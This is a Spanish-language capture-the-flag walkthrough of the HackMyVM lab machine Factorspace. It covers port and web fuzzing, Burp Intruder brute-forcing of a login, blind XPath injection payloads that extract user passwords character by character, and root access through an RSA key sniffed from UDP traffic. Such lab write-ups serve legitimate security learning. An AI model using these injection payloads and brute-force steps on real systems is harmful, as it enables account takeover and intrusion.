HackMyVM - Factorspace
- Brute Force and Captcha bypass
- XPATH Injection
- Leaked RSA Key
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.19
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.19
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 dbf946e520816ceec72508ab2251366c (RSA)
| 256 33c09564294723dd864ee6b8073367ad (ECDSA)
|_ 256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: industrial
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Realizo fuerza bruta de extensiones.
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.1.19/FUZZ.FUZ2Z' -z list,php-txt --hc=404 --hl=370
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.19/FUZZ.FUZ2Z
Total requests: 441120
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000105: 200 67 L 145 W 2346 Ch "login - php"
000000895: 302 7 L 12 W 115 Ch "results - php"
000002655: 302 0 L 0 W 0 Ch "check - php"
000005051: 200 0 L 0 W 0 Ch "auth - php"
En login.php
hay un formulario para iniciar sesión pero no tengo ni usuario ni contraseña así que probaré con usuario admin y contraseña 1234.
Capturo la petición con Burpsuite y lo muevo a la pestaña intruder.
Configuro el parámetro password para realizar fuerza bruta.
En el apartado payloads selecciono Runtime file
y selecciono el diccionario rockyou.
Obtengo la contraseña de admin.
Me logueo como admin y veo una herramienta de búsqueda.
Si escribo Doe me muestra lo siguiente.
Después de una larga búsqueda me doy cuenta que es vulnerable a XPATH injection.
Tras mi primera prueba me devuelve este resultado.
Siguiendo los ejemplos de PayloadsAllTheThings realizo fuerza bruta al parámetro lastname, para ello he usado una lista de números de la A a la Z, minúsculas y mayúsculas. En el primer intento de fuerza bruta encuentro la letra D.
lastname=Doe' or starts-with(//lastname,'a') or '
Añado la letra D al principio del payload y me queda de esta forma:
lastname=Doe' or starts-with(//lastname,'D§a§') or '
Realizo de nuevo fuerza bruta y me encuentra la letra o.
Añado la letra o después de la letra D y me queda de esta forma:
lastname=Doe' or starts-with(//lastname,'Do§a§') or '
Lanzo de nuevo el ataque y me encuentra la letra e formando la palabra Doe.
Ahora si cambio el parámetro lastname por password y siguiendo la misma metodología obtendré el password de John, pero este no sirve para conectarme al sistema, así que para obtener el password del siguiente usuario he añadido el user position.
lastname=Doe' or starts-with(//user[position()=2]//password,'a') or '
Con el user position defino la posición del usuario, uso la posición 2 que en este caso es el usuario Jackie.
Con la misma metodología anterior encuentro la letra q que es la primera letra de la contraseña de Jackie.
Añado la letra q al payload para seguir buscando la contraseña.
lastname=Doe' or starts-with(//user[position()=2]//password,'q§a§') or '
Encuentro la letra “y” y la añado al payload.
lastname=Doe' or starts-with(//user[position()=2]//password,'qy§a§') or '
Repito el proceso hasta completar la contraseña.
Me conecto al sistema como usuario jackie.
❯ ssh jackie@192.168.1.19
jackie@192.168.1.19's password:
Linux factorspace 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
jackie@factorspace:~$
Mirando el estado de la red observo que hay el puerto 5555 abierto.
jackie@factorspace:~$ ss -ltun
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 224.1.1.1:5555 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
Abro wireshark y veo que la máquina objetivo manda datos por el protocolo UDP.
Botón derecho encima del protocolo UDP, click en follow UDP y encuentro una llave rsa.
Copio la llave rsa y me conecto como root.
❯ ssh root@192.168.1.19 -i id_rsa
Linux factorspace 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jun 18 16:59:05 2023 from 192.168.1.18
root@factorspace:~# id;hostname
uid=0(root) gid=0(root) groups=0(root)
factorspace
root@factorspace:~#
Y aquí termina la máquina Factorspace.
Saludos!